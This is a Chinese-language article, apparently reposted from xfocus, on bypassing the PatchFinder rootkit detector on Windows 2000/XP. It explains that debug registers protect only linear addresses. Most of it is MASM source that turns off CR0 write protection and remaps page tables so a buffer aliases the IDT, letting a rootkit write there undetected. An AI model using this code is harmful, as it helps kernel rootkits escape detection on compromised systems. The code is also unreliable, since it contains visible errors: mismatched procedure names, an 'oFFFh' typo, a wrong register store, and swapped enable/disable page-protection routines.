萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> 繞過Windows Rootkit檢測系統

繞過Windows Rootkit檢測系統





繞過Windows Rootkit檢測系統

from:xfocus

[介紹]

    PatchFinder是一個設計很巧妙的程序,基於EPA(執行路徑分析)技術用來檢測侵入內核的Rootkit。附錄1和2可以讓你了解它是如何工作的。這篇文章將提供一種繞開EPA的方法。

[方法]

    EPA基於Intel處理器的單步模式,使用中斷描述符表(IDT)的0x01入口。為了防止Rootkit修改這個入口,它使用調試寄存器(DR0、DR1)來保護調試處理程序(很不錯的主意)。由DR0寄存器保護0x1入口,而由DR1寄存器保護中斷處理程序。(注1:)
    但是,讓我們再讀一遍Inter Manual [3]:“每個調試地址寄存器(DR0到DR3)保存32位的斷點的線性地址”。注意:線性地址!在Windows 2000/XP下,通過分頁機制把線性地址轉換為物理地址。假設IDT的基地址是在0x8003F400,保存在IDTR中,那麼IDT的0x01入口地址就是0x8003F408。Intel有關IDTR的說明:“基地址標明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的頁目錄被映射到線性地址0xC0300000。線性地址是由目錄、表和偏移組成,通過分頁機制我們將0x8003F408轉換為物理地址就是0x03F00(由實驗中得來)。現在我們要做的就是創建一個緩沖區,獲取指向緩沖區的指針並修改頁目錄和頁表使這個緩沖區指向物理地址0x03F00。然後,向這個緩沖區中寫入的東西就會寫入IDT,並且不會觸發PatchFinder的保護機制。調試寄存器是根本無法保護內存的,因為它們無法保護物理內存。

[源代碼]

    這裡是源代碼,由MASM v8.0匯編。因為我喜歡匯編語言:-)完全的源代碼可以在www.rootkit.com找到。

;---定義IDTR結構-------
DIDTR STRUCT         ;IDTR
dLIMIT     WORD     ?
ibase     DWORD     ?
DIDTR ENDS
;-----------------------

ByepassIDTProtection PROC

    LOCAL dbgHandler:DWORD

    LOCAL myIDT:DIDTR

    LOCAL idtbase:DWORD
    LOCAL idtbaseoff:DWORD
    LOCAL idtPDE:DWORD
    LOCAL idtPDEaddr:DWORD
    LOCAL idtPTE:DWORD
    LOCAL idtPTEaddr:DWORD

    LOCAL varbase:DWORD
    LOCAL varbaseoff:DWORD
    LOCAL varPDE:DWORD
    LOCAL varPDEaddr:DWORD
    LOCAL varPTE:DWORD
    LOCAL varPTEaddr:DWORD

    LOCAL diffoffset:DWORD

    pushad

    ;分配一個頁大小的內存(從非分頁池中分配)
    invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
    mov varbase,eax
   
    cli                 ;記得恢復

    invoke DisablePageProtection     ;對XP,Regmon使用的一個很老的技巧

    sidt myIDT
    mov eax,myIDT.ibase
    add eax,08h
    mov idtbase,eax             ;idtbase = IDT的基地址 + 8字節

    and eax,0FFC00000h         ;獲取IDT地址的目錄索引
    shr eax,22
    shl eax,2             ;乘與4

    mov ebx,0C0300000h         ;0C0300000 = 頁目錄
    add ebx,eax             ;ebx = [頁目錄 + 目錄索引*4]
    mov idtPDEaddr,ebx

    mov eax,[ebx]
    mov idtPDE,eax             ;eax = IDT地址的頁目錄入口(PDE)
   
    mov eax,idtbase
    and eax,oFFFh             ;獲取IDT地址的低12位 =     頁內偏移                 mov idtbaseoff,eax

    mov eax,idtbase
    shr eax,12             ;獲取IDT地址的高12位
    shl eax,2             ;乘與4

    mov ebx,0C0000000h         ;進程頁表映射在0xC0000000開始的4MB空間中
    add ebx,eax
    mov idtPTEaddr,eax         ;IDT地址的PTE的地址

    mov eax,[ebx]
    mov idtPTE,eax             ;取該地址的PTE

    mov eax,varbase

    and eax,0FFC00000h         ;獲取varbase的頁目錄索引
    shr eax,22
    shl eax,2

    mov ebx,0C0300000h
    add ebx,eax
    mov varPDEaddr,ebx
   
    mov eax,[ebx]
    mov varPDE,eax
   
    mov eax,varbase
    and eax,0FFFh
    mov varbaseoff,eax

    mov eax,varbase
    shr eax,12
    shl eax,2

    mov ebx,0C0000000h
    add ebx,eax
    mov varPTEaddr,ebx

    mov eax,[ebx]
    mov varPTE,eax

    mov eax,varPDEaddr         ;修改PDE為和IDT0x01的一樣
    mov ebx,idtPDE
    mov [eax],ebx
   
    mov eax,varPTEaddr         ;修改PTE為和IDT0x01的一樣
    mov ebx,idtPTE
    mov [eax],ebx

    mov ebx,idtbaseoff         ;修正頁內偏移
    mov eax,varbaseoff
    sub ebx,eax

    ;現在我們可以使用線性地址向IDT的0x01描述符內寫入東西而不會觸發調試寄存器

    mov eax,varbase
    mov dword ptr [eax+ebx],0DEADBEEFh

    mov eax,varPDEaddr         ;恢復原來的值
    mov ebx,varPDE
    mov [eax],ebx

    mov eax,varPTEaddr         ;恢復原來的值
    mov ebx,varPTE
    mov [eax],ebx

    invoke EnablePageProtection     ;恢復CR0寄存器的WP標志

    sti

    popad
    ret

BypassIDTProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
EnablePageProtection PROC

    push eax
    mov eax,CR0
    and eax,0FFFEFFFFh
    mov CR0,eax
    pop eax
    ret

EnablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DisablePageProtection PROC

    push eax
    mov eax,CR0
    or eax,NOT 0FFFEFFFFh
    mov CR0,eax
    pop eax
    ret

DisablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit的未來]

    很不幸,這種方法使EPA變得沒用。如果微軟不改變它的安全結構,沒有一種辦法能在未來阻止rookits。未來的rootkit會在分頁機制上大有作為,這種有無限種可能性。一旦進入Ring 0,那麼永遠在Ring 0。

[參考]

    [1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高級Rootkit檢測技術)
    [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2
    [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3

注1:

    這個圖無法畫出,就是畫出了讀者也不一定能看得明白(因為畫的實在太簡單了-_-)。我在這裡補充一下用調試寄存器保護地址的原理。首先是DR0-DR4這4個調試寄存器保存了4個線性地址,然後通過DR7寄存器的相關位並檢查DR6寄存器的相關位來對這4個地址進行相關操作。參考以下代碼:

#define DB_PROT_EXEC   0
#define DB_PROT_WRITE 1
#define DB_PROT_RW     3

#define DB_DR0 0
#define DB_DR1 1
#define DB_DR2 2
#define DB_DR3 3

#define DB_LEN_1B 0
#define DB_LEN_2B 1
#define DB_LEN_4B 3
copyright © 萬盛學電腦網 all rights reserved